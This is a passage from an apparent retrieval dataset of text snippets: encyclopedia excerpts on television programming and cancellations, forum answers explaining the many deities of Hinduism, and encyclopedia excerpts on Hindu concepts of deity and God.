advertisements since their invention. One such way was to switch to another channel, or “multitask” by having conversations with others, leave the room, mute the TV, or more recently, zip through the commercials in a recorded program. While", "it is one of the few television programming bodies that does not have any owned-and-operated stations. This is partly due to the origins of the PBS stations themselves, and partly due to historical broadcast license issues. On-air fundraising Since 53% to 60% of public television's revenues come from private membership donations and grants, most stations solicit individual donations by methods including fundraising, pledge drives or telethons, which disrupt regularly scheduled programming. This has been perceived as potentially annoying since regularly scheduled programming is often replaced with specials aimed at a wider audience (such as music specials aimed at the Baby", "shows and then we would go to New York and meet all the press, and then we'd go to Chicago to meet the ad people, then we'd come back and take about five to six weeks off, and if we got picked up, then we'd start again. So we did that for six years because that was the length of the contracts at those times. So that's why there are 39 [episodes] for six years, and then it was off the air. Not off the air, but we didn't film any new ones [after that.]\"\nMathers remained friends with Barbara", "TV) in particular, shortened 3 episodes into 2 by deleting scenes in order to speed up the broadcast, leading to frustration among viewers. The rumor then came that Eastern TV declined payment to the series' distributor as it claimed others had violated the airing agreement. The subsequent verbal sparring and disruption of normal programming eventually led to the intervention of SARFT and signing of a new regulation by all TV stations across the country.\nIronically, the money/rating-centric attitude of the TV stations only served to their disfavor, as annoyed viewers were deterred away causing the TV ratings to drop.", "unusual to sell. The shows are also obviously edited to follow a regular format, with every episode featuring two unruly customers being thrown out, one trip to the parking lot for a car or truck for sale, and usually some argument between Ashley and Seth. Series cancellation During season 9, truTV decided not to order more episodes because of the network's new direction. truTV was concentrating on comedy programming and it was decided that Hardcore Pawn did not relate properly to other programs in the network's schedule. No other television networks showed interest in the series, and production was halted", "to television shows can be skipped, advertising in TV shows themselves (\"product placement\") cannot be skipped. Streaming services such as Hulu show shorter advertisements with a countdown timer and tailored to the viewers interests, asking interactive questions like \"Is this ad relevant to you?\".", "the station (as those seen during network commercial breaks), and versions with \"clean\" end tags to allow stations to include local airtime and station information through graphical insertion and verbal continuity by station promotional announcers during the program logo graphic or prime time menu. This practice – which differs from that long used by ABC, NBC and CBS, which only allow their stations to insert logos within their network promotions – was also later adopted by The WB and UPN (and their successors The CW, and to a lesser extent, MyNetworkTV) for use by their affiliated stations. A third cut", "can also be grounds for cancellation once a show has built up enough of a backlog of episodes that can be rerun without the viewer realizing the show has ended production; The Jerry Springer Show is one such example.", "noticed that nothing was added (\"Best Of\" logo, production slate, episode number, recording date, original airdate, etc.) to distinguish this set of repeats from Season 1; this had the side effect of causing stations that aired Season 1 to show continuous repeats since the first-run episodes ended. Crosswords was officially considered cancelled in February 2009, and around the same time the \"Daytime Plus\" experiment ended when Program Partners pulled Inside the Box from its affiliates.\nAlthough the show only lasted one season, reruns have continued to air for over a decade since the show's cancellation. Currently, the show airs on Retro", "the use of on-air presenters had once been considered for This TV's movie broadcasts; the network is also devoid of infomercial programming. However, the network does display an on-screen logo bug during its programs, and affiliates are inclined to include regional descriptors reflecting the station's primary broadcast area or the station's own logo underneath the network bug.\nThe network did not utilize a split-screen credit sequence to promote upcoming programs during the closing credits until Tribune took over operations (these appear in the style used by many of Tribune's television stations and co-owned WGN America, with a varying number of network", "on the station for a low cost, advertisements for services of a sexual nature (such as premium-rate adult rate entertainment services and adult products from companies such as Adam & Eve), direct response advertising for products and services (often marketed \"As Seen On TV\") otherwise seen during infomercials, and public service announcements (such as those commissioned by the Ad Council) airing in these time slots due to the reduced importance of advertising revenue. Network overnight programming The Big Three television networks in the United States all offer regular programming in the overnight slot. Both ABC and CBS carry overnight newscasts", "Digital stations will likely display a message after the sign off; however, they may simply cut to a black screen with no sound (as other digital subchannel networks on the same channel space may broadcast 24/7, requiring the station to remain powered up; consideration after 2017 in the United States is now also given to channel sharing partners who may do the same). \nBoth sign-offs and sign-ons have become less common with the increasing prevalence of twenty-four hours a day, seven days a week broadcasting. They are, however, still conducted by a number of stations around the world, often by", "the early days of television, when there were often only one or two stations broadcasting in a given market, the stations were usually affiliated with multiple networks and were able to choose which programs would air. Eventually, as more stations were licensed, it became common for each station to be exclusively affiliated with only one network and carry all of the \"prime-time\" programs that the network offered. Local stations occasionally break from regularly scheduled network programming however, especially when a breaking news or severe weather situation occurs in the viewing area. Moreover, when stations return to network programming from commercial", "compared to scripted series and annual contests, may not be canceled in the same way, but merely have the network cease ordering episodes and end up in limbo (except for those that have high production costs); in turn, these types of shows are also easily brought back if a network needs to produce filler programming quickly (as was the case with Are You Smarter than a 5th Grader?, which was renewed more than three years after it had produced its last episode because of a programming shortage on Fox). Whether the show is produced by the network or an outside", "Upfront (advertising) United States In the United States, the major broadcast networks' upfronts traditionally occurred in New York City during the third week of May, the last full week of that month's sweeps period. That has changed over the years with the 2017 season now starting in early March and running through May.\nThe networks announce their fall primetime schedules, including tentative launch dates (i.e., fall or midseason) for new television programming, which may be \"picked up\" the week before. The programming announcements themselves are usually augmented with clips from the new television series, extravagant musical numbers, comedic scenes, and appearances", "during those times of low viewer numbers. This may include infomercials, movies, television show reruns, simple weather forecasts, low cost news or infotainment programming from other suppliers, simulcasts of sister services, or feeds of local cable TV companies' programming via a fiber optic line to the cable headend. Other broadcasters that are part of a radio or television network may run an unedited feed of the network's overnight programming from a central location, without local advertising. During what are otherwise closedown hours, some channels may also simulcast their teletext pages or full page headlines with music or feeds from", "have no injuries) and resulting tendency to make stories appear more urgent than they actually are.\nThe unedited nature of live television can pose problems for broadcasters because of the potential for mishaps, such as anchors being interrupted or harassed by bystanders shouting profane phrases. In 2015, a female CityNews journalist confronted a group of young men who had used the phrase; one of them later lost his job after he was identified. Channels often broadcast live programs on a slight delay (usually on single-digit seconds only) to give them the ability to censor words and images while keeping the", "at stores that had installed the CNN Checkout Channel found the service to be distracting; in an Associated Press report of CNN Checkout Channel's launch, a cashier told a reporter that the repeating commercials played by the television was \"driving [her] crazy\". In response to similar complaints, some stores turned down the volume on the televisions to nearly inaudible levels—which at the same time, defeated the purpose of the service by hindering the ability for customers to hear its commercials. Martin Sloane of The Daily Gazette felt that the concept of airing commercials in the checkout line was flawed, as", "generally the responsibility of the individual station, and typically consists of local newscasts, syndicated programming acquired by the station, and other locally produced programs. Off-peak hours (such as early-morning hours) are often programmed with infomercials and other forms of brokered programming, burn-off and repeats of syndicated programs, while the Big Three television networks provide overnight newscasts: the majority of U.S. stations no longer sign off at the end of their broadcast day. Stations may, from time to time, preempt network programs to air special programming of local interest (such as sporting events and coverage of local celebrations); affiliation contracts may", "public affairs, religious, and special television news programs (and even most religious programming is now brokered instead). Sustaining programs can occasionally appear in modern times, most commonly if a program loses advertisers (such as through boycott campaigns) but contractual obligations require the program to air until the contract expires, in which case a show may be moved to a graveyard slot to free up what has become highly valuable advertising space; ad rates for new shows are now based on complicated projections based on the network's other programs, and even the rare airing of a television pilot now almost always", "being discussed. Most regular advertisers did not broadcast adverts during the show, because the series did not have good ratings at the time.\nThe episode is considered by most reviewers as a success for being able to cover a controversial subject in an inoffensive manner. Jonathan Boudreaux for tvdvdreviews.com said, \"The Emmy-winning script by Larry David introduced the brilliant euphemism 'master of my domain' to our lexicon and helped the series to truly become must-see TV. We know what the episode is about, but the script never explicitly says it. 'The Contest' effortlessly takes a potentially incendiary subject and renders it" ]

[ "Just thought I'd add to the already insightful comments.\n\n\"Gods\" isn't the same kind of term as other religions. As some others have said, there isn't a central system of belief or dogma. Many Hindus, by definition, are atheists. They don't believe in a \"God\" which is a living entity as such, but more as a tool or concept to focus on. \n\nTo explain further, anthropomorphizing aspects of our lives are an easy method for us to be able to manipulate them in our minds eye for a variety of uses e.g. the pursuit of academic study (there's a god for that), however, in place of anthropomorphization, symbols such as mandalas can be used instead, among other devices (think Pentagrams and other occult symbols). When I say manipulate, what I refer to is firstly, assigning a symbol (e.g. a god's name) which describes a concept, so upon recall of the symbol, you're recalling everything the concept entails and secondly, focusing on this symbol through meditation which, for a variety of psychological reasons would be beneficial for your personal advancement towards that concept. Hinduism and the occult have much in common.\n\nThis is a reason why Hinduism has 330 million \"gods\" - they are just 330 million identified aspects of our universe for us to manipulate in our minds eye.\n\nHowever, as previously stated, there is no centralized order in Hinduism and as it's pretty old, followers have had all sorts of involvement with it. For example, for many believers, Hinduism isn't much different to the Abrahamic religions - it can be dogmatic, prejudice etc. And as always, there's always going to be somebody along the way to use said belief system as a form of control for the masses - Hinduism is no different.", "There is no such thing as Hindu dogma, as there is for every other major religion. There is no one holy text or religious body that dictates the Hindu religion. Hinduism just kind of started and, as it encountered other cultures and religions, it evolved and absorbed them, in a way. Hinduism is an inclusive religion, so when it encountered another religion, it could just say, \"Yeah, your god is totally cool, too.\" \n\nThis was particularly key to its survival as different Indian cultures were invaded or conquered by both foreign powers as well as other Indian kingdoms. So what you get is a mishmash of a bunch of view points under the umbrella of Hinduism. That's why \"older\" deities and \"modern\" deities seem so confusing, and kind of contradictory. They originated in different belief systems at different times, but were all co-opted into Hinduism at some point.", "Hinduism is different from religions like Christianity, Islam and Buddhism by a simple fact that Hinduism has no founder. As humans evolve their belief system changed. Hinduism encompasses these evolution for the last 3000-5000 years. \n\nAt one point of time humans worshiped the elements. These elements are represented in Rig Veda:\n\nVaruna: Air\nAgni: Fire\nIndra: Rain\nYama: God of Death\n\nAs time progressed humans felt the need of more personified gods. In this period across civilizations more human like gods appeared. Vishnu, Ganesh, Kali are representation of those.", "I'd like to explain this from the eyes of an outsider. The way I've interpreted it as well as takings from people I've met here along the way.\n\nMost Gods personify virtues - are metaphors for the goings-on around us. Life begins with creation - it needs to be sustained; protected and groomed, and finally ends with destruction. The holy trinity of Hinduism are the source of all creation, sustenance and destruction - namely, Brahma, Vishnu and Shiva. To answer the question of chicken-and-egg, Brahma is said to have sprung forth from the Lotus of Lord Vishnu's navel. To me, this makes sense in that all creation springs from a protector, a benefactor's presence. Just like a seed needs a kind terra to provide it with the nourishment it needs to grow and bear fruit and give birth to other trees. Life flows through its stations and the protector (Vishnu) guides man through it. In the end, when the time is right, the culmination is death, in which Shiva - the eternal truth and emotion - the sum of beginning and the end, would invite the true believer. Since Shiva is to bring about balance to life - with destruction, it would happen when the time is right. As with all things, it's incorrect to assume that destruction is always evil. Sometimes, for life to continue, destruction is needed and this God of all things does exactly that. \n\nEvery aspect of human life is given a \"God\" to help people cross over from birth to death. This is done to make things easier to visualize and understand. For example, Lord Ganesha is said to be the God of knowledge and wisdom, the destroyer of Evil and of Misdeeds, the one who consumes all that is bad and troublesome. For such a God, it's fitting that he has the body of a human with the head of an elephant. An elephant which is large, which is alert, which remembers everything - representing everything that knowledge and wisdom stand for. Like too much of a good thing being bad, every God is shown to be benevolent or stern/harsh, depending upon the mood of that God. Rather than blame the God when in dire times, the believer is asked to appease the God - now rather than taking it literally, it should be taken as a way to patiently wait for the calamity to pass over...\n\nIt's a way of life with lots of examples and metaphors. Like in Christianity, a lot of those metaphors have been lost. However, by thinking for himself/herself, every Hindu will reach the state of final salvation when he/she integrates with the divine consciousness or the \"Brahman\" (not to be confused with Lord Brahma). The Brahman is the primordial pure essence of all existence - hence, the ultimate truth of our lives (maybe, akin to the superdense universe *just* before the big-bang?)\n\nTrue Hinduism is all encompassing - I've never seen anyone flinch when I've visited temples, rung bells there, or when I've asked the priests to bless me - across the breadth of India. There's some serious tolerance in-built in the system (along with a lot of adoration for white skin). There's a lot for everyone to learn from true Hindus - I have and still am learning every day that I'm here. Cliches aside, they did have a civilization going here when the rest of the world was crawling out of the moors of barbarism.\n\nTL;DR: The roots of Hinduism are common-sense, respect, tolerance and acceptance - anyone who is tolerant and accepting of others and uses his/her common-sense as a moral compass is doing what a true Hindu should be doing.\n\nP.S: I'm not here to tread on anyone's toes. If you're offended, well, I'm sorry that you are. It's my viewpoint, though, and I'm learning everyday. My God knows that I'm pretty comfortable being an atheist and a believer at the same time. ;) Common sense.", "There are no definitive answers to this question :-)\n\nWhy? Because *Hinduism* is not a Religion in the sense that Christianity/Islam etc. are. There is no well-defined origin point. It is basically the name given by others to a whole cornucopia of Philosophies, Belief Systems, Traditions and Culture of the various people inhabiting the Indian subcontinent. Originally the various gods were representative concrete models of abstract concepts in the people's philosophy/belief systems. Thus every god/goddess stands for some specific characteristic which a group considers important enough to model. Given the diversity (on dimensions of language, regional differences, culture etc.) of the peoples of India, it stands to reason that each distinct group would model and name what it feels as important and when you take them all together you get a dizzying ensemble of deities! \n\nToday, Hinduism is conflated with the dominant Vedanta philosophy/religion though strictly speaking, it does not have to be. When you study the various Hindu scriptures belonging to different schools, you will find very different self-consistent world views which are admirable in their own right (eg. Samkya/Yoga vs. Vedanta).\n\nThe best comparison to Hindu schools of philosophy are the ancient Greek schools of philosophy who had a similar breadth of thought and a corresponding pantheon of deities.", "In southern India, every village has a village deity (Grama devata). Most families have a family deity or social deity ( Kula devata/daivam). Each individual has ones favourite deity (ishta devata/daivam). As per the festive occasion, there are celebrations hosted for popular deities. One is allowed to seek ones own path, and join others as long as they show reverence to others beliefs.\n\nThen there are cults/sects that adore humans claimed to be of divine nature. There are worship systems that are 'goal' driven (yagnas, kritus). The objects worshipped can be inanimate (stone/rock formations swayambhu, mountains, hills, or man made sculptures/idols); can be animate (snakes, cows, humans); can be abstract ideas (scriptures, manasa puja, advaita philosophy, sacrifice, charity/daana); can be forces of nature/natural phenomena (seas, rivers, celestial bodies)\n\nIn modern times, one is free to choose, but ancient times made a big fuss (saliva vs vaishnava, jain vs Buddhist schools) and fought wars. Rigveda speaks of natural forces of fire-agni, varuna-rain/water, yama-time/death, indra-prime among gods. While not very common, I have seen Christ, Buddha adorning the same altar in room of worship (puja room).\n\nAs you may realise, it is to much to explain every nuance, then there are anecdotal stories with inconsistent time lines, old wives tales. The folk lore is as fascinating as Greek mythology\n\nI don't want to quote wiki, but it has a very good definition.Hinduism is set in a diverse system of thought with beliefs spanning henotheism, monotheism, polytheism, panentheism, pantheism, monism, and sometimes in forms of atheism or non-theism (see advaita) among others.[1][2][3][4] It is often aptly termed monistic theism and even open monotheism by some scholars, but is not purely polytheistic as outsiders perceive it to be.", "Hinduism is a collection of ideas and stories. It does not have centralized figure for god. Every god is related to other gods in some way. In one story one god can be a seen as the superior, and in other story the same god can be seen as the inferior.", "In addition to all that has been mentioned, I will give you a slightly more direct answer in terms of how the \"modern\" and \"older\" deities are related.\n\nIt is hard to pinpoint which god was mentioned where first. In fact, as a hindu I have never made a differentiation of modern and old. To me all these gods are part of our culture. The ones which you call modern, are in my view the \"mainstream\" gods. Many people tend to believe in them as a primary god. The \"older\" gods are secondary gods in terms of worship. \n\nLet me explain the various differences under two headings:\n\n1) Daily Life and Worship\n\nMost households have a primary god they worship. This is often dependent on the area they are from. For example, most households in Bengal, worship Kali as their primary god. \n\nEach god has its own story and legends. So they are usually associated with specific actions. So, if one holds a ceremony including a havan(sacrificial fire), the god being worshiped is Agni, the god of fire. Similarly, Ganesha, is considered the god of good beginnings. So his name is taken before any momentous task and he is usually the first god worshiped in a ceremony. \n\nAll primary gods have their own specific festivals which are celebrated on specific days. The secondary gods are usually worshiped during the event related to their specific domain.\n\nOf course there are groups of people who do worship Agni, Varuna(water god) etc as their primary god.\n\n\n2) Hindu Mythology\n\nHere I will mostly draw from the Mahabharat and the Ramayan. This is the literal relation/hierarchy.\n\nThe holy trinity is composed of Brahma, Shiva and Vishnu. Hindu mythology is spread out over millenniums. So many of the gods encountered in the accounts are avatars of the above mentioned three. But they are still worshiped individually, often because of the specific qualities they represent. For Example:\nRama and Krishna are both avatars of Vishnu. Rama is worshiped for being the perfect man. Krishna is worshiped for being the solver of problems.\n\n\nGuardians of the directions:\n\nEast - Indra (King of Gods)\n\nSouth - Yama (God of Death)\n\nWest - Varuna (God of the Seas)\n\nNorth - Kubera (Lord of Wealth)\n\n\nElemental Gods:\n\nAgni - Fire\n\nVaruna - Water\n\nVayu - Wind\n\netc etc.\n\n\nNote that there is no specific hierarchy. \"Modern\" gods such as Krishna etc consider any god they meet their equal and even their superior. The only real hierarchy you can draw is that all gods respect the Holy Trinity. It is believed they were all born of them. \n\n\n\n//Hope I helped. Sorry if its a confusing. First time answering. Happy to answer any questions.\n\n~Edit: Fixed formatting a bit.", "One interesting, and important, bit about the Gods of Hindhuism is that they are not removed from making mistakes.\n\nmany of the stories revolving around Gods, Devas, Asuras, etc. involve them falling prey to ego, pride, greed, lust, etc., and finding punishment for it.\n\nGrowing up I always thought this was to remind us that no one is above morality and good behavior - e.g. there is a story that tells of Vishnu and Brahma finding a pillar of light. They race to see who can find the end. Neither do, but Brahma lies and says he does. Shiva then appears out of the pillar, accusing Brahma of the lie, and cursing him to not be worshiped - thus the lack of Brahma-centric rituals. \n\nThe Asuras are known for this - the name itself indicates someone who has a great desire for pursuit of power. Many of the asuras are granted boons by a God for their dedication in meditation, prayer, etc. The Asura Hiranyakashipu who was blessed with many boons by Lord Brahma. But in his arrogance, he struck out against his son, a loyal devotee of Lord Vishnu. And thus Hiranyakashipu was slain, despite his boons.\n\nMany of the stories in Hindhuism have this sort of underlying trait - humans constantly and consistently make mistakes, as do Asuras and Devas, and even the Gods in some cases. These mistakes often revolve around the over-indulgence in base desires, or an excess of ego/pride that leads us to deal harm to others and engage in Adharma (that which is not in accordance with the law/duty). The punishment varies, but in the end, those who are most rewarded are those who can commit to a life of dharma without falling prey to ego, pride, etc.\n\nThere is a lot of philosophy in addition to the religious aspects that are sometimes ignored or unknown. Many times I've argued with other Hindhus who are completely against the tenents of Mimamsa or Samkhya philosophies despite their roots in the Rig Veda, or have not even considered the ideas expressed in the Brihadaranyaka regarding the identify of the individual.", "This speaks to an evolution from an agrarian/nature-dependent society who saw the gods in the elements (Agni = Fire, etc) to a more urban society with time for fellowship and existential musings. A lot of these earlier Vedic gods were subsumed by later versions, such as elements of Rudra being seen in Shiva, and other gods were just made less important. The shift to the Bhakti tradition is where you get the Trimurti (Brahma, Vishnu and his avatars, and Shiva). \n\nThe wheel on India's flag points to a great descriptor of Hindu belief which is enlightenment is like the center of the wheel around which everything revolves, and the spokes are the many (or infinite) paths to enlightenment. Some say there are as many gods in Hinduism as there are Hindus, as it is a very personalized form of worship. Most worship either Vishnu in one form or another, or Shiva in his forms. Kali worship is also a popular albeit regional practice. \n\nAnother interesting analogy shows that some people practice Hinduism as neither a monotheism or polytheism, but rather a monism. An old man at a nearby temple once told me that he worships GOD. All three of the trimurti are as one to him, and he says it is because our state of being requires a Generator (Brahma), an Organizer (Vishnu), and a Destroyer (Shiva). Then the cycle starts again.", "Modern day Hinduism has only a distant relation to Vedic gods. This can be attributed to the gap between the decline in the Vedic period (around 400 BCE) and the revival during the Bhakti movement (8th century AD - 15th century AD). The Vedic philosophies and rituals were kept alive by Brahminical sects who were spearheaded by Adi Shankara (700 AD) and who later blended themselves into the Varnas (class system) around the 4th century AD. \n\nEven today, only the Brahminical sects follow the rigidly followed ritualistic practices that invoke the Vedic gods.", "Hinduism is a psychonautical philosophy with a front of a religion. You are that." ]

[ "Hindu deities Hindu deities are the gods and goddesses in Hinduism. The terms and epithets for deity within the diverse traditions of Hinduism vary, and include Deva, Devi, Ishvara, Ishvari, Bhagavān and Bhagavati.\nThe deities of Hinduism have evolved from the Vedic era (2nd millennium BC) through the medieval era (1st millennium AD), regionally within Nepal, India and in Southeast Asia, and across Hinduism's diverse traditions. The Hindu deity concept varies from a personal god as in Yoga school of Hindu philosophy, to 33 Vedic deities, to hundreds of Puranics of Hinduism. Illustrations of major deities include Parvati, Vishnu, Sri (Lakshmi),", "Hindu deities such as Vishnu, Shiva and Devi. Other texts and commentators such as Adi Shankara explain that Hindu deities live or rule over the cosmic body as well in the temple of human body. They remark that the Sun deity is the eyes, the Vāyu the nose, the Prajapati the sexual organs, the Lokapalas the ears, Chandra the mind, Mitra the inward breath, Varuna the outward breath, Indra the arms, Bṛhaspati the speech, Vishnu, whose stride is great, is the feet, and Māyā is the smile. Symbolism Edelmann states that gods and anti-gods of Hinduism are symbolism for spiritual", "same). Hinduism also accepts numerous divine beings, with many Hindus considering the deities to be aspects or manifestations of a single impersonal absolute or ultimate reality or God, while some Hindus maintain that a specific deity represents the supreme and various deities are lower manifestations of this supreme. Other notable characteristics include a belief in existence of ātman (soul, self), reincarnation of one's ātman, and karma as well as a belief in dharma (duties, rights, laws, conduct, virtues and right way of living).\nMcDaniel (2007) classifies Hinduism into six major kinds and numerous minor kinds, in order to understand expression of", "Worship in Hinduism Deities Within Hinduism a large number of personal gods (Ishvaras) are worshipped as murtis. These beings are either aspects of the supreme Brahman, Avatars of the supreme being, or significantly powerful entities known as devas. The exact nature of belief in regards to each deity varies between differing Hindu denominations and philosophies. Often these beings are depicted in humanoid or partially humanoid forms, complete with a set of unique and complex iconography in each case. These deities may be different but they are generally all considered forms of the one god (Brahman). These deities and their Pujas", "God and gender in Hinduism In Hinduism, there are diverse approaches to conceptualizing God and gender. Many Hindus focus upon impersonal Absolute (Brahman) which is genderless. Other Hindu traditions conceive God as androgynous (both female and male), alternatively as either male or female, while cherishing gender henotheism, that is without denying the existence of other Gods in either gender.\nThe Shakti tradition conceives of God as a female. Other Bhakti traditions of Hinduism have both male and female gods. In ancient and medieval Indian mythology, each masculine deva of the Hindu pantheon is partnered with a feminine who is often a", "\"deity\". There is, however, a popular perception stating that there are 33 crore (330 million) deities in Hinduism. Most, by far, are goddesses, state Foulston and Abbott, suggesting \"how important and popular goddesses are\" in Hindu culture. No one has a list of the 33 category goddesses and gods, but scholars state all deities are typically viewed in Hinduism as \"emanations or manifestation of genderless principle called Brahman, representing the many facets of Ultimate Reality\".\nThis concept of Brahman is not the same as the monotheistic separate God found in Abrahamic religions, where God is considered, states Brodd, as \"creator of", "of existence, as aspects of the Brahman. The deities in Hinduism are not considered to be almighty, omnipotent, omniscient and omnibenevolent, and spirituality is considered to be seeking the ultimate truth that is possible by a number of paths. Like other Indian religions, in Hinduism, deities are born, they live and they die in every kalpa (eon, cycle of existence).\nIn Hindu philosophy, there are many different schools. Its non-theist traditions such as Samkhya, early Nyaya, Mimamsa and many within Vedanta such as Advaita do not posit the existence of an almighty, omnipotent, omniscient, omnibenevolent God (monotheistic God), while its theistic", "beginning and all existence is an endless cycle of rebirths (samsara). Hinduism Hinduism is a complex religion with many different currents or religious beliefs Its non-theist traditions such as Samkhya, early Nyaya, Mimamsa and many within Vedanta do not posit the existence of an almighty, omnipotent, omniscient, omnibenevolent God (monotheistic God), and the classical formulations of the problem of evil and theodicy do not apply to most Hindu traditions. Further, deities in Hinduism are neither eternal nor omnipotent nor omniscient nor omnibenevolent. Devas are mortal and subject to samsara. Evil as well as good, along with suffering is considered", "male gods (Deva) and female gods (Devi) are found in Hinduism. Some Hindu traditions conceive God as androgynous (both female and male), or as either male or female, while cherishing gender henotheism, that is without denying the existence of other Gods in either gender.\nBhakti traditions of Hinduism have both gods and goddesses. In ancient and medieval Indian mythology, each masculine deva of the Hindu pantheon is partnered with a feminine devi. Followers of Shaktism, worship the goddess Devi as the embodiment of Shakti (feminine strength or power).\nThere is a popular perception that there exist millions of Hindu deities. However, most,", "of Hinduism have different theories about rituals and on salvation (moksha). However, they are primarily based around Puja (devotional worship to a personal deity, often using an idol or Murthi), and Yajna (ritual non-human/non-animal sacrifice). Idol worship Sikhs shun idol worship as a part of their faith.\nHindus accept the worship facilitated with images or murtis (idols), particularly in Agamic traditions, such as Vaishnavism and Shaivism. Some scholars state it is incorrect to state that all Hindus worship idols, and more correct to state that for some the idol is a means to focus their thoughts, for some idol is a", "of death. Tantra In Hinduism, goddesses are personifications of the deepest level of power and energy. The concept of Shakti, in its most abstract terms, relates to the energetic principle of ultimate reality, the dynamic aspect of the divine. This concept surfaces in the Kena Upanishad as Goddess Umā bestowing Brahma-vidya on Indra; when linked with shakti and maya, she embodies the power of illusion (maya), encompassing ignorance (avidya) and knowledge (vidyā) and thereby presented with a dual personality. According to the Saktas, Māyā is basically a positive, creative, magical energy of the Goddess that brings forth the universe. The", "relative pronoun ma (that which), as in the phrase \"the heavens and that which created them\" (Qur'an 91:5). Hinduism In Hinduism, there are diverse approaches to conceptualizing God and gender. Many Hindus focus upon impersonal Absolute (Brahman) which is genderless. Other Hindu traditions conceive God as androgynous (both female and male), alternatively as either male or female, while cherishing gender henotheism, that is without denying the existence of other Gods in either gender.\nThe Shakti tradition conceives of God as a female. Other Bhakti traditions of Hinduism have both male and female gods. In ancient and medieval Indian mythology, each masculine", "of Hinduism, Shiva is a part of its Panchayatana puja. This practice consists of the use of icons or anicons of five deities considered equivalent, set in a quincunx pattern. Shiva is one of the five deities, others being Vishnu, Devi (such as Parvati), Surya and Ganesha or Skanda or any personal god of devotee's preference (Ishta Devata).\nPhilosophically, the Smarta tradition emphasizes that all idols (murti) are icons to help focus on and visualize aspects of Brahman, rather than distinct beings. The ultimate goal in this practice is to transition past the use of icons, recognize the Absolute symbolized by", "do not worship deities. Arya Samaj favours Vedic chants and Havan, Brahmo Samaj go for simple prayers.\nSome Hindu philosophers and theologians argue for a transcendent metaphysical structure with a single divine essence. This divine essence is usually referred to as Brahman or Atman, but the understanding of the nature of this absolute divine essence is the line which defines many Hindu philosophical traditions such as Vedanta.\nAmong lay Hindus, some believe in different deities emanating from Brahman, while others practice more traditional polytheism and henotheism, focusing their worship on one or more personal deities, while granting the existence of others.\nAcademically speaking,", "because they are motivated by their potential rebirth into the deva realm. The deva realm in Buddhist practice in Southeast Asia and East Asia, states Keown, include gods found in Hindu traditions such as Indra and Brahma, and concepts in Hindu cosmology such as Mount Meru. Hinduism The concept of God varies in Hinduism, it being a diverse system of thought with beliefs spanning henotheism, monotheism, polytheism, panentheism, pantheism and monism among others.\nIn the ancient Vedic texts of Hinduism, a deity is often referred to as Deva (god) or Devi (goddess). The root of these terms mean \"heavenly, divine, anything", "a best god henotheism\". Hinduism Henotheism was the term used by scholars such as Max Müller to describe the theology of Vedic religion. Müller noted that the hymns of the Rigveda, the oldest scripture of Hinduism, mention many deities, but praises them successively as the \"one ultimate, supreme God\", alternatively as \"one supreme Goddess\", thereby asserting that the essence of the deities was unitary (ekam), and the deities were nothing but pluralistic manifestations of the same concept of the divine (God).\nThe Vedic era conceptualization of the divine or the One, states Jeaneane Fowler, is more abstract than a monotheistic God,", "the divine: views of God in Hinduism vary by region, sect, and caste, ranging from monotheistic to polytheistic. Many polytheistic religions share the idea of a creator deity, although having a name other than \"God\" and without all of the other roles attributed to a singular God by monotheistic religions. Jainism is polytheistic and non-creationist. Depending on one's interpretation and tradition, Buddhism can be conceived as being either atheistic, non-theistic, pantheistic, panentheistic, or polytheistic. Oneness Monotheists believe that there is only one god, and may also believe this god is worshipped in different religions under different names. The view that", "scriptures that are monotheistic, such as the Vedas. In Judaism God is transcendent, while in Hinduism God is both immanent and transcendent.\nIn Judaism, god is called Yahweh, Deuteronomy regard Yahweh as \"God of gods and Lord of lords\".\nDifferent Hindu sects have a variety of beliefs about the nature and identity of god, believing variously in monotheism, polytheism, pantheism, and panentheism. According to the Upanishads, the Mahabharata, and some Puranas, Narayana is the supreme deity. Today, the Vaishnavite sect considers Vishnu to be the supreme god, while Shaivites consider Shiva to be the supreme god.\nIn Judaism, God is an absolute one,", "pandeism, monism, and atheism among others; and its concept of creator deity is complex and depends upon each individual and the tradition and philosophy followed. Hinduism is sometimes referred to as henotheistic (i.e., involving devotion to a single god while accepting the existence of others), but any such term is an overgeneralization.\nThe Nasadiya Sukta (Creation Hymn) of the Rig Veda is one of the earliest texts which \"demonstrates a sense of metaphysical speculation\" about what created the universe, the concept of god(s) and The One, and whether even The One knows how the universe came into being. The Rig Veda", "suggest god Shiva created Brahma (Shaivism), yet others suggest goddess Devi created Brahma (Shaktism), and these texts then go on to state that Brahma is a secondary creator of the world working respectively on their behalf. Further, the medieval era texts of these major theistic traditions of Hinduism assert that the saguna Brahman is Vishnu, is Shiva, or is Devi respectively, they are different names or aspects of the Brahman, and that the Atman (soul, self) within every living being is same or part of this ultimate, eternal Brahman.\nBrahmin is a varna in Hinduism specialising in theory as priests, preservers", "Hindu pantheon, such as Shiva, Vishnu, or Devi. In Hindu texts, Indra is some times known as an aspect (avatar) of Shiva.\nHe is depicted as the father of Vali in the Ramayana and Arjuna in the Mahabharata. He becomes a source of nuisance rains in the Puranas, out of anger and with an intent to hurt mankind. But, Krishna as an avatar of Vishnu, comes to the rescue by lifting Mount Govardhana on his fingertip, and letting mankind shelter under the mountain till Indra exhausts his anger and relents. Also, according to Mahabharata Indra, disguised himself as a Brahmin approached", "the tirthankara as gods analogous to the gods of the Hindu pantheon despite the superficial resemblances between Jain and Hindu ways of worship. Tirthankara, being liberated, are beyond any kind of transactions with the rest of the universe. They are not the beings who exercise any sort of creative activity or who have the capacity or ability to intervene in answers to prayers.\nTirthamkara-nama-karma is a special type of karma, bondage of which raises a soul to the supreme status of a tirthankara. Siddhas Ultimately all arihantas become siddhas, or liberated souls, at the time of their nirvana. A siddha is", "as literal children of God they can take upon themselves His divine attributes. Mormons teach that \"The glory of God is intelligence\" (Doctrine and Covenants 93:36), and that it is by sharing the Father's perfect comprehension of all things that both Jesus Christ and the Holy Spirit are also divine. Hinduism Hinduism is not a monolithic religion: many extremely varied religious traditions and practices are grouped together under this umbrella term and some modern scholars have questioned the legitimacy of unifying them artificially and suggest that one should speak of \"Hinduisms\" in the plural. Theistic Hinduism encompasses both monotheistic and", "Outline of Hinduism The following outline is provided as an overview of and topical guide to Hinduism:\nHinduism – predominant and indigenous religious tradition of the Indian Subcontinent. Its followers are called Hindus, who refer to it as Sanātana Dharma (a Sanskrit phrase meaning \"the eternal law that sustains/upholds/surely preserves\"), amongst many other expressions. Hinduism has no single founder, and is formed of diverse traditions, including a wide spectrum of laws and prescriptions of \"daily morality\" based on the notion of karma, dharma, and societal norms. Among its direct roots is the historical Vedic religion of Iron Age India and,", "outside India, such as predominantly Buddhist Thailand and Japan, where they continue to be revered in regional temples or arts.\nIn ancient and medieval era texts of 